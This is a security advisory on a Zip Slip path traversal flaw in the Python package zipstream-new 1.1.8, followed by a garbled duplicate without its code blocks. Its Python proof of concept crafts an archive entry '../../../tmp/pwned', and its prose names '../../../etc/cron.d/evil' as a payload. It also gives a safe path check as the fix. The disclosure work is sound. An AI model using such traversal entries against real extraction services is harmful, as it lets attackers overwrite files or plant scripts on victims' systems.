Security Vulnerability: Zip Slip Path Traversal in zipstream-new
Summary
The zipstream-new package version 1.1.8 contains a Zip Slip vulnerability where insufficient path sanitization allows an attacker-controlled archive entry name to write files outside the intended extraction directory. The mitigation using normpath combined with stripping leading path separators is bypassable with relative traversal sequences.
Affected Package
Vulnerability Details
In __init__.py lines 259-261, the code attempts to sanitize archive entry filenames by applying os.path.normpath() and then stripping leading path separators. However, os.path.normpath("../../../x") returns "../../../x" unchanged — it does not resolve relative traversal components against any base path, it only collapses redundant separators and . components. Stripping a leading separator (e.g., /) does nothing against a path that begins with ... As a result, an entry named ../../../etc/cron.d/evil in a crafted ZIP archive will resolve to a path outside the extraction target directory when written to disk.
Proof of Concept
import zipstream
import os
# Attacker-controlled archive entry with path traversal
zs = zipstream.ZipFile()
# Craft a malicious entry that traverses outside the extraction directory
malicious_path = "../../../tmp/pwned"
zs.write_iter(malicious_path, [b"malicious content"])
# Simulate extraction: the sanitized path is still a traversal
import posixpath
sanitized = posixpath.normpath(malicious_path).lstrip("/")
print(repr(sanitized)) # Output: '../../../tmp/pwned' — still traverses!
# When combined with a base extraction path, the result escapes it:
base_dir = "/var/app/uploads"
final_path = os.path.join(base_dir, sanitized)
print(final_path)
# Output: /var/app/uploads/../../../tmp/pwned
# Resolves to: /tmp/pwned — OUTSIDE the intended directory
real_path = os.path.realpath(final_path)
print(real_path) # /tmp/pwned
assert not real_path.startswith(base_dir), "Path traversal confirmed!"
Impact
An attacker who can supply or influence a ZIP archive processed by an application using zipstream-new can write arbitrary files to any location on the filesystem that the running process has write access to. This may lead to:
- Overwriting of sensitive configuration files
- Planting of malicious scripts in executable locations (e.g., cron jobs, init scripts)
- Remote code execution if files can be placed in web-accessible directories or overwrite application code
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Remediation
Replace the insufficient normpath + lstrip approach with a check that resolves the final path against the extraction base directory and rejects any result that does not remain within it:
import os
def safe_extract_path(base_dir, entry_name):
base_dir = os.path.realpath(base_dir)
target = os.path.realpath(os.path.join(base_dir, entry_name))
if not target.startswith(base_dir + os.sep) and target != base_dir:
raise ValueError(f"Path traversal detected: {entry_name!r}")
return target
This pattern resolves all symlinks and .. components before comparing, ensuring no traversal is possible.
Disclosure Timeline
- 2026-07-02: Discovered via DAST scan
- 2026-07-02: Reported to maintainer
Security Vulnerability: Zip Slip Path Traversal in zipstream-new
Summary
The
zipstream-newpackage version 1.1.8 contains a Zip Slip vulnerability where insufficient path sanitization allows an attacker-controlled archive entry name to write files outside the intended extraction directory. The mitigation usingnormpathcombined with stripping leading path separators is bypassable with relative traversal sequences.Affected Package
Vulnerability Details
In
__init__.pylines 259-261, the code attempts to sanitize archive entry filenames by applyingos.path.normpath()and then stripping leading path separators. However,os.path.normpath("../../../x")returns"../../../x"unchanged — it does not resolve relative traversal components against any base path, it only collapses redundant separators and.components. Stripping a leading separator (e.g.,/) does nothing against a path that begins with... As a result, an entry named../../../etc/cron.d/evilin a crafted ZIP archive will resolve to a path outside the extraction target directory when written to disk.Proof of Concept
Impact
An attacker who can supply or influence a ZIP archive processed by an application using
zipstream-newcan write arbitrary files to any location on the filesystem that the running process has write access to. This may lead to:CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Remediation
Replace the insufficient
normpath+lstripapproach with a check that resolves the final path against the extraction base directory and rejects any result that does not remain within it:This pattern resolves all symlinks and
..components before comparing, ensuring no traversal is possible.Disclosure Timeline